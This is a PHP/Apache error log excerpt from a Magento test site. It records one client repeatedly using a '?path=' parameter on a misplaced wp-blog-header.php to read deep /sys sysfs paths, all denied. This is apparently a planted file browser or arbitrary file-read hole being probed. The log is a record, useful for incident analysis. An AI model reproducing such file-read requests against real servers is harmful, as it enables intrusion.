[Thu Mar 26 12:07:17.172439 2026] [php:warn] [pid 3216554] [client 74.7.241.26:32976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:ce
[Thu Mar 26 12:07:26.720795 2026] [php:warn] [pid 3216554] [client 74.7.241.26:32976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/drivers/ac
[Thu Mar 26 12:07:27.283874 2026] [php:warn] [pid 3216554] [client 74.7.241.26:32976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:ce
[Thu Mar 26 12:07:30.523745 2026] [php:warn] [pid 3216554] [client 74.7.241.26:32976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:fe
[Thu Mar 26 12:07:33.759444 2026] [php:warn] [pid 3216554] [client 74.7.241.26:32976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/drivers/ec
[Thu Mar 26 12:07:34.759384 2026] [php:warn] [pid 3216554] [client 74.7.241.26:32976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:dc
[Thu Mar 26 12:07:36.335278 2026] [php:warn] [pid 3216554] [client 74.7.241.26:32976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/devices/device:ae
[Thu Mar 26 12:07:37.388303 2026] [php:warn] [pid 3216554] [client 74.7.241.26:32976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/devices/device:ca
[Thu Mar 26 12:07:41.657948 2026] [php:warn] [pid 3216554] [client 74.7.241.26:32976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc
[Thu Mar 26 12:07:43.370423 2026] [php:warn] [pid 3216554] [client 74.7.241.26:32976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/devices/device:ec
[Thu Mar 26 12:07:44.916980 2026] [php:warn] [pid 3216554] [client 74.7.241.26:32976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe
[Thu Mar 26 12:07:48.032031 2026] [php:warn] [pid 3216554] [client 74.7.241.26:32976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce
[Thu Mar 26 12:07:52.378485 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42476] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba
[Thu Mar 26 12:07:53.436115 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42476] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/devices/device:ca
[Thu Mar 26 12:07:55.593885 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42476] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/drivers/ac
[Thu Mar 26 12:07:58.839136 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42476] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/devices/device:fe
[Thu Mar 26 12:08:01.988833 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42476] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:ba
[Thu Mar 26 12:08:03.545603 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42476] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/drivers/ac
[Thu Mar 26 12:08:04.119396 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42476] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee
[Thu Mar 26 12:08:05.163059 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42476] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be
[Thu Mar 26 12:08:07.262131 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42476] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:fa
[Thu Mar 26 12:08:08.817863 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42476] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/drivers/ec
[Thu Mar 26 12:08:09.847651 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42476] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/drivers/ac
[Thu Mar 26 12:08:11.495256 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42476] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:fa
[Thu Mar 26 12:08:11.995985 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42476] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:aa
[Thu Mar 26 12:08:12.507464 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42476] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/devices/device:ee
[Thu Mar 26 12:08:14.723960 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42476] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 12:08:17.338396 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42476] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca
[Thu Mar 26 12:08:18.323773 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42476] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 12:08:19.954574 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42476] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/devices/device:be
[Thu Mar 26 12:08:22.601004 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42476] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/devices/device:ee
[Thu Mar 26 12:08:25.217885 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42476] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba
[Thu Mar 26 12:08:25.761598 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42476] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:fa
[Thu Mar 26 12:08:26.850922 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42476] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec
[Thu Mar 26 12:08:27.884817 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42476] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae
[Thu Mar 26 12:08:28.883238 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42476] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 12:08:29.924824 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42476] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 12:08:32.577206 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42476] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/devices/device:fa
[Thu Mar 26 12:08:37.885991 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42476] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:ac
[Thu Mar 26 12:08:41.017307 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42476] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca
[Thu Mar 26 12:08:42.637842 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42476] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea
[Thu Mar 26 12:08:44.262590 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42476] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:be
[Thu Mar 26 12:08:45.947533 2026] [php:warn] [pid 3216554] [client 74.7.241.26:39904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da
[Thu Mar 26 12:08:46.466574 2026] [php:warn] [pid 3216554] [client 74.7.241.26:39904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/devices/device:da
